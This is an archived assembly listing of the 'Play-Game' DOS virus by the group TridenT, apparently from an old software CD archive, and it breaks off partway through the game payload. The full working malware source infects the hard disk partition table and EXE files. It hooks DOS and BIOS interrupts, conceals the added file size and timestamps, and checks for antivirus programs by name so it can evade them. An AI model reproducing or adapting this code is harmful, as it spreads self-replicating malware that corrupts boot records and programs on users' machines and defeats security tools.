home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / P.ZIP / PLAYGAME.ZIP / PLAYGAM.ASM next >
Assembly Source File  |  1993-03-30  |  46KB  |  1,266 lines

  1. ;------------------------------------------------------------------------------
  2. ;   Play-Game VIRUS     version 1
  3. ;   Use TASM 2.01 to compile this source
  4. ;   (other assemblers will probably not produce the same result)
  5. ;   Disclaimer:
  6. ;   This file is only for educational purposes. The author takes no
  7. ;   responsibility for anything anyone does with this file. Do not
  8. ;   modify this file!
  9. ;------------------------------------------------------------------------------
  10.  
  11.  
  12.                 .model  tiny
  13.                 .RADIX  16
  14.                 .code
  15.  
  16.  
  17. VERSION         equ     1
  18. FILELEN         equ     offset last - first     ;Length of virus.
  19. VIRSEC          equ     (FILELEN+1FF)/200       ;Number of sectors for virus
  20. VIRKB           equ     (FILELEN+3FF+100)/400   ;Length in kB.
  21. SECLEN          equ     200                     ;length of a sector.
  22. STACKLEN        equ     200                     ;Wanted length of stack in
  23.                                                 ;infected file.
  24. STACKOFF        equ     ((FILELEN+SECLEN+STACKLEN+11)/2)*2   ;Stack offset in
  25.                                                              ;infected file.
  26. DATAPAR         equ     (SECLEN+STACKLEN+20)/10 ;Minimal extra memory to
  27.                                                 ;allocate for infected file
  28.                                                 ;(area to load part. table
  29.                                                 ;and room for stack).
  30. BUFLEN          equ     1C                      ;Length of buffer.
  31. BOOTLEN         equ     boot_end - boot_begin   ;Length of boot-routine.
  32.  
  33.  
  34. ;------------------------------------------------------------------------------
  35. ;               Data area for virus.
  36. ;------------------------------------------------------------------------------
  37.  
  38.                 org     00F0
  39.  
  40. hook            db      ?                       ;Flag for hooking int21
  41. minibuf         db      (4) dup (?)             ;Mini buffer for internal use.
  42.  
  43.  
  44. ;------------------------------------------------------------------------------
  45. ;               Data area for game.
  46. ;------------------------------------------------------------------------------
  47.  
  48. bombs           db      ?                       ;Number of bombs.
  49. pos             db      ?                       ;Position.
  50. oldpos          db      ?                       ;Previous position.
  51. level           db      ?
  52. kleur           db      ?
  53. timer           db      ?
  54. tijd            dw      ?
  55.  
  56.  
  57. ;------------------------------------------------------------------------------
  58. ;               Begin of virus, installation in partition table of harddisk
  59. ;------------------------------------------------------------------------------
  60.  
  61.                 org     0100
  62.  
  63. first:          db      '[ MK / TridenT ]'      ;Author + Group.
  64.  
  65.                 call    next
  66. next:           pop     si                      ;Get IP.
  67.                 sub     si,13                   ;Calculate relative offset.
  68.                 mov     di,0100
  69.                 cld
  70.  
  71.                 call    push_all                ;Save some registers.
  72.  
  73.                 push    cs                      ;Make DS and ES equal to CS.
  74.                 push    cs
  75.                 pop     ds
  76.                 pop     es
  77.  
  78.                 mov     ah,30                   ;Check if DOS version >= 4.0
  79.                 int     21
  80.                 cmp     al,4
  81.                 jb      not_install
  82.  
  83.                 cmp     ax,0DEADh               ;Check if another TridenT
  84.                 je      not_install             ;(multi-partite) virus is
  85.                                                 ;resident. 
  86.  
  87.                 mov     ax,0FE02                ;Check if Tequila virus
  88.                 int     21                      ;is resident. 
  89.                 cmp     ax,01FDh
  90.                 je      not_install
  91.  
  92.                 mov     ax,33E4                 ;Check if virus is already
  93.                 int     21                      ;resident.
  94.                 cmp     ah,0A5
  95.                 je      not_install
  96.  
  97.                 call    infect_part
  98.  
  99. not_install:    mov     ah,2A                   ;Ask date.
  100.                 int     21
  101.                 cmp     dh,12d                  ;december?
  102.                 jb      dont_play
  103.                 mov     ah,2C                   ;Ask time.
  104.                 int     21
  105.                 cmp     ch,21d                  ;time > 21:00 ?
  106.                 jb      dont_play
  107.  
  108.                 mov     ax,33E5                 ;Play the game!
  109.                 int     21  
  110.  
  111. dont_play:      call    pop_all                 ;Restore registers.
  112.  
  113.                 add     si,offset buffer-100
  114.                 cmp     byte ptr cs:[si],'M'    ;Check if generation 0.
  115.                 je      entryE
  116.  
  117.                 int     20                      ;It was a COM file (gen. 0).
  118.  
  119. entryE:         mov     bx,ds                   ;Calculate CS.
  120.                 add     bx,low 10
  121.                 mov     cx,bx
  122.                 add     bx,cs:[si+0E]
  123.                 cli                             ;Restore SS and SP.
  124.                 mov     ss,bx
  125.                 mov     sp,cs:[si+10]
  126.                 sti
  127.                 add     cx,cs:[si+16]
  128.                 push    cx                      ;Push new CS on stack.
  129.                 push    cs:[si+14]              ;Push new IP on stack.
  130.                 retf
  131.  
  132.  
  133. ;------------------------------------------------------------------------------
  134. ;               Infect partition table sector
  135. ;------------------------------------------------------------------------------
  136.  
  137. infect_part:    lea     bx,[si+last-100]        ;Read partition table
  138.                 mov     ax,0201                 ;at end of virus.
  139.                 mov     cx,1
  140.                 mov     dx,80
  141.                 int     13
  142.                 jc      not_infect_par
  143.  
  144.                 cmp     word ptr [bx],'KM'      ;Check if already infected.
  145.                 je      not_infect_par
  146.  
  147.                 cmp     word ptr [bx],05EA      ;Check if infected with
  148.                 je      not_infect_par          ;Stoned or Michelangelo.
  149.  
  150.                 lea     di,[bx+01BE]            ;Check partition info.
  151.                 mov     bl,4
  152. check_part:     cmp     byte ptr [di+4],0       ;Skip if not a valid partition.
  153.                 je      next_part
  154.                 cmp     word ptr [di+0A],0      ;Enough room for virus?
  155.                 jne     next_part
  156.                 cmp     word ptr [di+8],VIRSEC+2
  157.                 jb      not_infect_par          ;Quit if not enough room.
  158. next_part:      add     di,10
  159.                 dec     bl
  160.                 jnz     check_part
  161.  
  162.                 lea     bx,[si+last-100]        ;Save original partition table
  163.                 mov     ax,0301                 ;to sector 2.
  164.                 mov     cx,2
  165.                 int     13
  166.                 jc      not_infect_par
  167.  
  168.                 lea     bx,[si+first-100]       ;Write the virus to sector 3.
  169.                 mov     ax,0300+VIRSEC
  170.                 mov     cx,3
  171.                 int     13
  172.                 jc      not_infect_par
  173.  
  174.                 lea     di,[si+last-100]        ;Infect part table.
  175.                 lea     si,[si+boot_begin-100]
  176.                 mov     bx,di
  177.                 mov     cx,BOOTLEN
  178.         rep     movsb
  179.  
  180.                 mov     ax,0301                 ;Write infected partition table
  181.                 mov     cx,1                    ;to sector 1.
  182.                 int     13
  183.  
  184. not_infect_par: ret
  185.  
  186.  
  187. ;------------------------------------------------------------------------------
  188. ;               Partition table routine
  189. ;------------------------------------------------------------------------------
  190.  
  191. boot_begin:     db      'MK'                    ;Signature (= DEC BP, DEC BX).
  192.  
  193.                 cld                             ;Initialise segments + stack.
  194.                 cli
  195.                 xor     ax,ax
  196.                 mov     ds,ax
  197.                 mov     ss,ax
  198.                 mov     sp,7C00
  199.                 sti
  200.  
  201.                 mov     di,0400                 ;Adjust memory size.
  202.                 mov     ax,ds:[di+13]
  203.                 sub     ax,VIRKB
  204.                 mov     ds:[di+13],ax
  205.  
  206.                 mov     cl,6                    ;Calculate segment for
  207.                 shl     ax,cl                   ;resident virus.
  208.                 mov     es,ax
  209.  
  210.                 mov     cx,BOOTLEN              ;Copy virus to top.
  211.                 mov     si,sp                   ;SP=7C00
  212.                 xor     di,di
  213.         rep     movsb
  214.  
  215.                 mov     bx,offset here-offset boot_begin     ;Jump to top.
  216.                 push    es
  217.                 push    bx
  218.                 retf
  219.  
  220. here:           mov     ax,0200+VIRSEC          ;Load complete virus.
  221.                 mov     cx,3
  222.                 mov     dx,0080
  223.                 mov     bx,0100
  224.                 int     13
  225.                 jc      load_part  
  226.  
  227.                 cli
  228.                 mov     ax,offset ni13          ;Set new vector 13.
  229.                 xchg    ds:[4*13],ax
  230.                 mov     cs:[oi13],ax            ;Save old vector 13.
  231.                 mov     ax,es
  232.                 xchg    ds:[4*13+2],ax
  233.                 mov     cs:[oi13+2],ax
  234.  
  235.                 les     bx,ds:[4*21]            ;Get original vector 21.
  236.                 mov     cs:[oi21],bx
  237.                 mov     cs:[oi21+2],es
  238.                 sti
  239.  
  240.                 mov     byte ptr cs:[hook],1    ;Turn on hook-flag.
  241.  
  242. load_part:      mov     di,5
  243.                 push    ds
  244.                 pop     es
  245. part_loop:      mov     ax,0201                 ;Load original part. sector.
  246.                 mov     cx,2
  247.                 mov     dx,0080
  248.                 mov     bx,sp
  249.                 int     13
  250.                 jnc     jump_part
  251.  
  252.                 xor     ax,ax                   ;Reset Drive
  253.                 int     13
  254.                 dec     di
  255.                 jnz     part_loop               ;Try again.
  256.                 int     18                      ;Error: activate ROM BASIC.
  257.  
  258. jump_part:      push    ds                      ;Push next address.
  259.                 push    bx
  260.                 retf
  261. boot_end:
  262.  
  263.  
  264. ;------------------------------------------------------------------------------
  265. ;               Int 13 handler
  266. ;------------------------------------------------------------------------------
  267.  
  268. ni13:           cmp     byte ptr cs:[hook],0    ;Is int 21 already hooked?
  269.                 je      do_int13
  270.  
  271.                 push    ds
  272.                 push    es
  273.                 push    bx
  274.                 push    ax
  275.                 cli
  276.  
  277.                 xor     ax,ax
  278.                 mov     ds,ax
  279.  
  280.                 les     bx,ds:[4*21]            ;Compare int 21 vector
  281.                 mov     ax,es                   ;with saved old vector.
  282.  
  283.                 cmp     ax,800
  284.                 ja      dont_hook
  285.                 cmp     bx,cs:[oi21]
  286.                 jne     hook_21
  287.                 cmp     ax,cs:[oi21+2]
  288.                 je      dont_hook
  289.  
  290. hook_21:        mov     cs:[oi21],bx            ;Save old vector 21.
  291.                 mov     cs:[oi21+2],ax
  292.  
  293.                 mov     ds:[4*21],offset ni21   ;Set new vector 21.
  294.                 mov     ds:[4*21+2],cs
  295.  
  296.                 mov     byte ptr cs:[hook],0    ;Don't hook int 21 anymore.
  297.  
  298. dont_hook:      sti
  299.                 pop     ax
  300.                 pop     bx
  301.                 pop     es
  302.                 pop     ds
  303.  
  304.  
  305. do_int13:       cmp     cx,1                    ;Check if part. table
  306.                 jne     orgint13                ;is read or written.
  307.                 cmp     dx,80
  308.                 jne     orgint13
  309.                 cmp     ah,2
  310.                 jb      orgint13
  311.                 cmp     ah,3
  312.                 ja      orgint13
  313.                 or      al,al
  314.                 jz      orgint13
  315.  
  316.                 push    cx
  317.                 dec     al
  318.                 jz      nothing_left
  319.                 push    ax                      ;Do original function
  320.                 push    bx
  321.                 add     bx,0200
  322.                 inc     cx
  323.                 pushf
  324.                 call    dword ptr cs:[oi13]
  325.                 pop     bx
  326.                 pop     ax
  327.  
  328. nothing_left:   mov     al,1                    ;Read/write redirected
  329.                 mov     cx,2                    ;partition table.
  330.                 pushf
  331.                 call    dword ptr cs:[oi13]
  332.                 pop     cx
  333.                 retf    2
  334.  
  335.  
  336. orgint13:       db      0EA
  337. oi13            dw      0, 0                    ;Original int 13 vector.
  338.  
  339.  
  340. ;------------------------------------------------------------------------------
  341. ;               Interupt 21 handler
  342. ;------------------------------------------------------------------------------
  343.  
  344. ni21:           pushf
  345.  
  346.                 cmp     ax,33E4                 ;Installation-check ?
  347.                 jne     not_ic
  348.                 mov     ax,0A500+VERSION        ;Yes? Return a signature.
  349.                 popf
  350.                 iret
  351.  
  352. not_ic:         cmp     ax,33E5                 ;Play game ?
  353.                 jne     not_pg
  354.                 call    play_game
  355.                 popf
  356.                 iret
  357.  
  358. not_pg:         call    push_all                ;Check if interupt came from
  359.                 call    getname                 ;a program that may not see
  360.                 mov     dx,offset namesHI       ;true length of infected file
  361.                 mov     cx,2+11d                ;(AV program or 'DIR').
  362.                 call    checknames
  363.                 call    pop_all
  364.                 jne     no_hide
  365.  
  366.                 cmp     ah,11                   ;Findfirst/findnext FCB?
  367.                 je      its_11_12
  368.                 cmp     ah,12
  369.                 jne     not_11_12
  370. its_11_12:      popf
  371.                 call    findFCB
  372.                 retf    2
  373.  
  374. not_11_12:      cmp     ah,4E                   ;Findfirst/findnext handle?
  375.                 je      its_4E_4F
  376.                 cmp     ah,4F
  377.                 jne     no_hide
  378. its_4E_4F:      popf
  379.                 call    findhndl
  380.                 retf    2
  381.  
  382.  
  383. no_hide:        call    push_all                ;Save registers.
  384.  
  385.                 cmp     ax,6C00                 ;Open from DOS 4.0+ ?
  386.                 jne     not_6C00
  387.                 call    f_open2
  388.                 jmp     short exit
  389.  
  390. not_6C00:       cmp     ah,3Dh                  ;File open?
  391.                 jne     not_3D
  392.                 call    f_open
  393.                 jmp     short exit
  394.  
  395. not_3D:         cmp     ah,3E                   ;File close?
  396.                 jne     not_3E
  397.                 call    f_close
  398.                 jmp     short exit
  399.  
  400. not_3E:         cmp     ax,4B00                 ;Program execute?
  401.                 jne     exit
  402.                 call    f_execute    
  403.  
  404. exit:           call    pop_all                 ;Restore registers.
  405.  
  406.                 popf
  407.  
  408.                 db      0EA                     ;Original int 21.
  409. oi21            dw      0, 0
  410.  
  411.  
  412. ;------------------------------------------------------------------------------
  413. ;               Interupt 24 handler
  414. ;------------------------------------------------------------------------------
  415.  
  416. ni24:           mov     al,3                    ;To avoid 'Abort, Retry, ...'
  417.                 iret
  418.  
  419.  
  420. ;------------------------------------------------------------------------------
  421. ;               Call original int21
  422. ;------------------------------------------------------------------------------
  423.  
  424. DOS:            pushf
  425.                 call    dword ptr cs:[oi21]
  426.                 ret
  427.  
  428.  
  429. ;------------------------------------------------------------------------------
  430. ;               Hide the virus from filelength
  431. ;------------------------------------------------------------------------------
  432.  
  433. findFCB:        call    DOS                     ;Call original function.
  434.                 or      al,al
  435.                 jne     ret1  
  436.                 pushf
  437.                 push    bx
  438.                 push    ax
  439.                 push    es
  440.                 mov     ah,2F                   ;Ask DTA adres.
  441.                 call    DOS
  442.                 cmp     byte ptr es:[bx],0FF    ;Extended FCB?
  443.                 jne     vv1
  444.                 add     bx,7
  445. vv1:            mov     al,byte ptr es:[bx+17]  ;Check if infected
  446.                 and     al,1Fh                  ;(seconds=62).
  447.                 cmp     al,1Fh
  448.                 jne     dont_hide
  449.                 sub     word ptr es:[bx+1Dh],FILELEN    ;Hide virus length.
  450.                 sbb     word ptr es:[bx+1F],0
  451.                 dec     bx
  452.                 jmp     short hide_time
  453.  
  454.  
  455. findhndl:       call    DOS                     ;Call original function.
  456.                 jc      ret1
  457.                 pushf
  458.                 push    bx
  459.                 push    ax
  460.                 push    es
  461.                 mov     ah,2F                   ;ask DTA adres
  462.                 call    DOS
  463.                 mov     al,byte ptr es:[bx+16]  ;Check if infected.
  464.                 and     al,1Fh
  465.                 cmp     al,1Fh
  466.                 jne     dont_hide
  467.                 sub     word ptr es:[bx+1A],FILELEN     ;Hide virus length.
  468.                 sbb     word ptr es:[bx+1C],0
  469. hide_time:      and     byte ptr es:[bx+16],0EFh        ;Also hide seconds.
  470. dont_hide:      pop     es
  471.                 pop     ax
  472.                 pop     bx
  473.                 popf
  474. ret1:           ret
  475.  
  476.  
  477. ;------------------------------------------------------------------------------
  478. ;               Try to infect or disinfect the file
  479. ;------------------------------------------------------------------------------
  480.  
  481. f_close:        cmp     bx,5                    ;Is handle >= 5?
  482.                 jb      ret1                    ;Quit if not.
  483.                 mov     ah,45                   ;Duplicate handle
  484.                 jmp     short doit
  485.  
  486. f_execute:      mov     ah,3Dh                  ;Open file
  487. doit:           call    DOS
  488.                 jc      ret1
  489.                 xchg    ax,bx
  490.                 mov     bp,1                    ;Flag for infect.
  491.                 jmp     short get_ctrlbrk
  492.  
  493.  
  494. f_open2:        mov     dx,si                   ;Use 'normal' open function
  495.                 mov     ah,3Dh                  ;instead of 6C00 function.
  496. f_open:         call    DOS
  497.                 jc      ret1
  498.                 xchg    ax,bx
  499.                 xor     bp,bp                   ;Flag for disinfect.
  500.  
  501.  
  502. get_ctrlbrk:    cld
  503.  
  504.                 mov     ax,3300                 ;Get ctrl-break flag.
  505.                 call    DOS
  506.                 push    dx
  507.  
  508.                 cwd                             ;Disable Ctrl-break.
  509.                 inc     ax
  510.                 push    ax
  511.                 call    DOS
  512.  
  513.                 mov     dx,bx
  514.                 mov     ax,3524                 ;Get int24 vector.
  515.                 call    DOS
  516.                 push    bx
  517.                 push    es
  518.                 mov     bx,dx
  519.  
  520.                 push    cs
  521.                 pop     ds
  522.  
  523.                 mov     dx,offset ni24          ;Install new int24 handler.
  524.                 mov     ah,25
  525.                 push    ax
  526.                 call    DOS
  527.  
  528.                 mov     ax,1220                 ;Get pointer to file table
  529.                 push    bx
  530.                 int     2F
  531.                 mov     bl,es:[di]
  532.                 mov     al,16                   ;(Avoid [512] signature...)
  533.                 mov     ah,12
  534.                 int     2F
  535.                 pop     bx                      ;ES:DI -> file table
  536.  
  537.                 push    es
  538.                 pop     ds
  539.  
  540.                 push    [di+2]                  ;Save attribute & open-mode.
  541.                 push    [di+4]
  542.  
  543.                 cmp     word ptr [di+28],'XE'   ;Check if extension is .EXE
  544.                 jne     close1
  545.                 cmp     byte ptr [di+2A],'E'
  546.                 jne     close1
  547.  
  548. ;                cmp     word ptr [di+20],'XX'   ;Check if name is 'XX*.EXE'
  549. ;                jne     close1                  ;(only for test purposes).
  550.  
  551.                 test    bp,bp                   ;Infect or disinfect?
  552.                 jz      check_disinf
  553.  
  554.                 mov     ax,word ptr [di+20]     ;Check if file may be infected.
  555.                 mov     dx,offset namesSC
  556.                 mov     cx,11d+4
  557.                 call    checknames
  558.                 je      close1
  559.                 jmp     short go_on
  560.  
  561. check_disinf:   call    getname                 ;Check if file must be
  562.                 mov     dx,offset namesSC       ;disinfected (only if an
  563.                 mov     cx,11d                  ;AV program is active).
  564.                 call    checknames
  565.                 jne     close1
  566.  
  567. go_on:          mov     byte ptr [di+2],2       ;Open file for both read/write.
  568.                 mov     byte ptr [di+4],0       ;Clear attributes
  569.                 call    gotobegin
  570.                 push    ax                      ;Save old file offset
  571.                 push    dx
  572.  
  573.                 push    cs
  574.                 pop     ds
  575.  
  576.                 mov     cx,BUFLEN               ;Read begin of file
  577.                 mov     si,offset buffer        ;into buffer.
  578.                 mov     dx,si
  579.                 call    read
  580.  
  581.                 call    checkfile               ;Check if file is OK to infect
  582.                 jc      close2                  ;or disinfect.
  583.  
  584.                 mov     ax,word ptr [si+12]     ;Already infected?
  585.                 add     al,ah
  586.                 cmp     al,'#'
  587.                 je      is_infected
  588.  
  589.                 test    bp,bp                   ;Must it be infected?
  590.                 jz      close2
  591.  
  592.                 call    do_infect
  593.  
  594. is_infected:    test    bp,bp                   ;Must it be disinfected?
  595.                 jnz     close2
  596.  
  597.                 call    do_disinfect
  598.  
  599. close2:         push    es
  600.                 pop     ds
  601.  
  602.                 pop     dx                      ;Restore file offset.
  603.                 pop     ax
  604.                 call    goto
  605.                 or      byte ptr [di+6],40      ;Don't change file-time.
  606.  
  607. close1:         mov     ah,3E                   ;Close the file.
  608.                 call    DOS
  609.  
  610.                 or      byte ptr [di+5],40      ;No EOF on next close.
  611.                 pop     [di+4]                  ;Restore attribute & open-mode.
  612.                 pop     [di+2]
  613.  
  614.                 pop     ax                      ;Restore int 24 vector.
  615.                 pop     ds
  616.                 pop     dx
  617.                 call    DOS
  618.  
  619.                 pop     ax                      ;Restore ctrl-break flag.
  620.                 pop     dx
  621.                 call    DOS
  622.  
  623.                 ret
  624.  
  625.  
  626. ;------------------------------------------------------------------------------
  627. ;               Special filenames
  628. ;------------------------------------------------------------------------------
  629.  
  630. namesHI         db      'CO', '4D'                      ;COMMAND.COM and 4DOS.
  631. namesSC         db      'SC', 'CL', 'VS', 'NE'          ;AV programs.
  632.                 db      'HT', 'TB', 'VI', 'F-'
  633.                 db      'FI', 'GI', 'IM' 
  634. namesCH         db      'RA', 'FE', 'MT', 'BR'          ;Some self-checking
  635.                                                         ;programs.
  636.  
  637. ;------------------------------------------------------------------------------
  638. ;               Check the file
  639. ;------------------------------------------------------------------------------
  640.  
  641. checkfile:      cmp     word ptr [si],'ZM'      ;Is it a normal EXE ?
  642.                 jne     not_good
  643.  
  644.                 cmp     word ptr [si+18],40     ;Check if it is a windows/OS2
  645.                 jb      not_win                 ;EXE file.
  646.  
  647.                 mov     ax,003C                 ;Read pointer to NE header.
  648.                 cwd
  649.                 call    readbytes
  650.                 jc      not_good
  651.  
  652.                 mov     ax,word ptr [si+BUFLEN]       ;Read NE header.
  653.                 mov     dx,word ptr [si+BUFLEN+2]
  654.                 call    readbytes
  655.                 jc      not_good
  656.                 
  657.                 cmp     byte ptr [si+BUFLEN+1],'E'    ;Quit if it is a NE
  658.                 je      not_good                      ;header.
  659.  
  660. not_win:        call    getlen
  661.                 call    calclen                 ;Check for internal overlays.
  662.                 cmp     word ptr [si+4],ax
  663.                 jne     not_good
  664.                 cmp     word ptr [si+2],dx
  665.                 jne     not_good
  666.  
  667.                 cmp     word ptr [si+0C],0      ;High memory allocation?
  668.                 je      not_good
  669.  
  670.                 cmp     word ptr [si+1A],0      ;Overlay nr. not zero?
  671.                 jne     not_good
  672.  
  673.                 clc                             ;File is OK.
  674.                 ret
  675.  
  676. not_good:       stc                             ;File is not OK.
  677.                 ret
  678.  
  679.  
  680. ;------------------------------------------------------------------------------
  681. ;               Write virus to the program
  682. ;------------------------------------------------------------------------------
  683.  
  684. do_infect:      call    getlen                  ;Go to end of file.
  685.                 call    goto
  686.  
  687.                 mov     dx,0100                 ;Write virus.
  688.                 mov     cx,FILELEN
  689.                 call    write
  690.                 cmp     ax,cx                   ;Are all bytes written?
  691.                 jne     not_infect
  692.  
  693.                 call    getoldlen               ;Calculate new CS & IP.
  694.                 mov     cx,0010
  695.                 div     cx
  696.                 sub     ax,word ptr [si+8]
  697.                 add     dx,low 10
  698.  
  699.                 mov     word ptr [si+16],ax     ;Put CS in header.
  700.                 mov     word ptr [si+0E],ax     ;Put SS in header.
  701.                 mov     word ptr [si+14],dx     ;Put IP in header.
  702.                 mov     word ptr [si+10],STACKOFF    ;Put SP in header.
  703.  
  704.                 call    getlen                  ;Put new length in header.
  705.                 call    calclen
  706.                 mov     word ptr [si+4],ax
  707.                 mov     word ptr [si+2],dx
  708.  
  709.                 push    di
  710.                 lea     di,[si+0A]              ;Adjust mem. allocation info.
  711.                 call    mem_adjust
  712.                 lea     di,[si+0C]
  713.                 call    mem_adjust
  714.                 pop     di
  715.  
  716.                 call    gotobegin               ;Write new begin of file.
  717.                 in      al,40
  718.                 mov     ah,'#'
  719.                 sub     ah,al
  720.                 mov     word ptr [si+12],ax
  721.                 mov     cx,BUFLEN
  722.                 mov     dx,si
  723.                 call    write
  724.  
  725.                 or      byte ptr es:[di+0Dh],1F    ;set filetime to 62 sec.
  726.  
  727. not_infect:     ret
  728.  
  729.  
  730. ;------------------------------------------------------------------------------
  731. ;               Disinfect the program
  732. ;------------------------------------------------------------------------------
  733.  
  734. do_disinfect:   call    getoldlen               ;Go to original end of file
  735.                 add     ax,(offset buffer-100)
  736.                 adc     dx,0
  737.                 call    goto                    ;Go to buffer in virus.
  738.  
  739.                 mov     dx,si                   ;Read buffer.
  740.                 mov     cx,BUFLEN
  741.                 call    read
  742.  
  743.                 cmp     word ptr [si],'ZM'      ;Is there an EXE header
  744.                 jne     not_disinfect           ;in the buffer?
  745.  
  746.                 call    gotobegin               ;Write the buffer to
  747.                 mov     dx,si                   ;begin of file.
  748.                 mov     cx,BUFLEN
  749.                 call    write
  750.  
  751.                 call    getoldlen               ;Restore original length
  752.                 mov     es:[di+11],ax           ;of file.
  753.                 mov     es:[di+13],dx
  754.  
  755.                 and     byte ptr es:[di+0Dh],0E0        ;Seconds = 0.
  756.  
  757. not_disinfect:  ret
  758.  
  759.  
  760. ;------------------------------------------------------------------------------
  761. ;               Get name of current process
  762. ;------------------------------------------------------------------------------
  763.  
  764. getname:        push    ds
  765.                 push    bx
  766.  
  767.                 mov     ah,62                   ;Get PSP address.
  768.                 call    DOS
  769.                 dec     bx
  770.                 mov     ds,bx
  771.                 mov     ax,ds:[0008]            ;Get first 2 characters
  772.                                                 ;of current process name.
  773.                 pop     bx
  774.                 pop     ds
  775.                 ret
  776.  
  777.  
  778. ;------------------------------------------------------------------------------
  779. ;               Check names
  780. ;------------------------------------------------------------------------------
  781.  
  782. checknames:     push    di
  783.                 push    es
  784.  
  785.                 push    cs                      ;Search name in list CS:DX
  786.                 pop     es
  787.                 mov     di,dx
  788.         repnz   scasw 
  789.  
  790.                 pop     es
  791.                 pop     di
  792.                 ret
  793.  
  794.  
  795. ;------------------------------------------------------------------------------
  796. ;               Calculate length for EXE header
  797. ;------------------------------------------------------------------------------
  798.  
  799. calclen:        mov     cx,0200                 ;Divide by 200h
  800.                 div     cx
  801.                 or      dx,dx                   ;Correction?
  802.                 jz      no_cor
  803.                 inc     ax
  804. no_cor:         ret
  805.  
  806.  
  807. ;------------------------------------------------------------------------------
  808. ;               Adjust mem allocation info in EXE header
  809. ;------------------------------------------------------------------------------
  810.  
  811. mem_adjust:     cmp     word ptr [di],DATAPAR   ;Enough memory allocated?
  812.                 jnb     mem_ok
  813.                 mov     word ptr [di],DATAPAR   ;Minimum amount to allocate.
  814. mem_ok:         ret
  815.  
  816.  
  817. ;------------------------------------------------------------------------------
  818. ;               Read a few bytes
  819. ;------------------------------------------------------------------------------
  820.  
  821. readbytes:      call    goto                    ;Go to DX:AX and read 4 bytes
  822.                 mov     dx,offset minibuf       ;from that location into
  823.                 mov     cx,4                    ;mini-buffer.
  824. read:           mov     ah,3F
  825.                 call    DOS
  826.                 ret
  827.  
  828. write:          mov     ah,40                   ;Write function.
  829.                 call    DOS
  830.                 ret
  831.  
  832.  
  833. ;------------------------------------------------------------------------------
  834. ;               Get original length of program
  835. ;------------------------------------------------------------------------------
  836.  
  837. getoldlen:      call    getlen
  838.                 sub     ax,FILELEN
  839.                 sbb     dx,0
  840.                 ret
  841.  
  842.  
  843. ;------------------------------------------------------------------------------
  844. ;               Get length of program
  845. ;------------------------------------------------------------------------------
  846.  
  847. getlen:         mov     ax,es:[di+11]
  848.                 mov     dx,es:[di+13]
  849.                 ret
  850.  
  851.  
  852. ;------------------------------------------------------------------------------
  853. ;               Goto new offset DX:AX
  854. ;------------------------------------------------------------------------------
  855.  
  856. gotobegin:      xor     ax,ax
  857.                 cwd
  858. goto:           xchg    ax,es:[di+15]
  859.                 xchg    dx,es:[di+17]
  860.                 ret
  861.  
  862.  
  863. ;------------------------------------------------------------------------------
  864. ;               Push all registers on stack
  865. ;------------------------------------------------------------------------------
  866.  
  867. push_all:       push    ax
  868.                 push    bx
  869.                 push    cx
  870.                 push    dx
  871.                 push    si
  872.                 push    di
  873.                 push    bp
  874.                 push    ds
  875.                 push    es
  876.                 mov     bp,sp
  877.                 jmp     [bp+12]
  878.  
  879.  
  880. ;------------------------------------------------------------------------------
  881. ;               Pop all registers from stack
  882. ;------------------------------------------------------------------------------
  883.  
  884. pop_all:        pop     ax
  885.                 mov     bp,sp
  886.                 mov     [bp+12],ax
  887.                 pop     es
  888.                 pop     ds
  889.                 pop     bp
  890.                 pop     di
  891.                 pop     si
  892.                 pop     dx
  893.                 pop     cx
  894.                 pop     bx
  895.                 pop     ax
  896.                 ret
  897.  
  898.  
  899. ;------------------------------------------------------------------------------
  900. ;               Game
  901. ;------------------------------------------------------------------------------
  902.  
  903. play_game:      call    rnd_init                ;Initialize random number
  904.                                                 ;generator.
  905.                 mov     ah,0F                   ;Get video mode.
  906.                 int     10
  907.  
  908.                 xor     ah,ah                   ;Clear screen and set to
  909.                 push    ax                      ;40 column mode.
  910.                 mov     al,1
  911.                 int     10
  912.  
  913.                 mov     ah,3                    ;Clear cursor.
  914.                 int     10
  915.                 push    cx
  916.                 mov     ah,1
  917.                 xor     cx,cx
  918.                 int     10
  919.  
  920. start_game:     push    cs
  921.                 push    cs
  922.                 pop     ds
  923.                 pop     es
  924.  
  925.                 xor     al,al                   ;Clear screen
  926.                 call    scroll_screen
  927.  
  928.                 mov     si,offset orgvalues     ;Initialize parameters.
  929.                 mov     di,offset bombs
  930.                 movsw
  931.                 xor     ax,ax
  932.                 stosw
  933.                 stosw
  934.                 stosw
  935.  
  936.                 mov     dx,0B800                ;ES points to screen memory.
  937.                 mov     es,dx
  938.  
  939.                 mov     si,offset beginmess     ;Print first message.
  940.                 mov     di,40d*2*5+20d
  941.                 mov     cx,12d
  942.                 call    print_it2
  943.  
  944.                 mov     di,40d*2*9+4
  945.                 mov     cl,20d
  946.                 call    print_it2
  947.  
  948.                 mov     di,40d*2*20d+24d
  949.                 mov     cl,16d
  950.                 call    print_it
  951.  
  952.                 call    wachttoets              ;Wait for keypress or timeout.
  953.  
  954.                 xor     al,al                   ;Clear screen.
  955.                 call    scroll_screen
  956.  
  957. main_lup:       mov     al,byte ptr [oldpos]    ;Clear old position.
  958.                 call    gotopos
  959.                 mov     ax,0700
  960.                 stosw
  961.  
  962.                 mov     al,byte ptr [pos]
  963.                 mov     byte ptr [oldpos],al
  964.  
  965.                 mov     al,1                    ;Scroll screen up.
  966.                 call    scroll_screen
  967.  
  968.                 mov     al,byte ptr [pos]       ;Goto current position.
  969.                 call    gotopos
  970.                 mov     al,es:[di]              ;Hit a block?
  971.                 cmp     al,0FE
  972.                 mov     ax,0E02                 ;Print smily face.
  973.                 stosw
  974.                 je      stop_game
  975.  
  976.                 call    print_bombs             ;Print a number of bombs.
  977.  
  978.                 call    wacht
  979.  
  980.                 in      al,61                   ;Make 'click' sound.
  981.                 push    ax
  982.                 or      al,3
  983.                 out     61,al
  984.  
  985.                 call    check_key               ;Check for shift keys.
  986.  
  987.                 pop     ax                      ;Turn 'click' off
  988.                 out     61,al
  989.  
  990.                 inc     byte ptr [timer]        ;Check timer.
  991.                 mov     al,byte ptr [timer]
  992.                 and     al,7F
  993.                 jnz     not_zero
  994.                 inc     byte ptr [kleur]        ;Change color and number of
  995.                 inc     byte ptr [bombs]        ;bombs every 128th row.
  996.  
  997. not_zero:       cmp     al,12d
  998.                 jne     main_lup
  999.  
  1000.                 inc     byte ptr [level]        ;Increase level as soon as
  1001.                 cmp     byte ptr [level],9      ;new color has reached.
  1002.                 jb      main_lup                ;position. Maximum is 9.
  1003.  
  1004.  
  1005. stop_game:      mov     ax,0E07                 ;Beep!
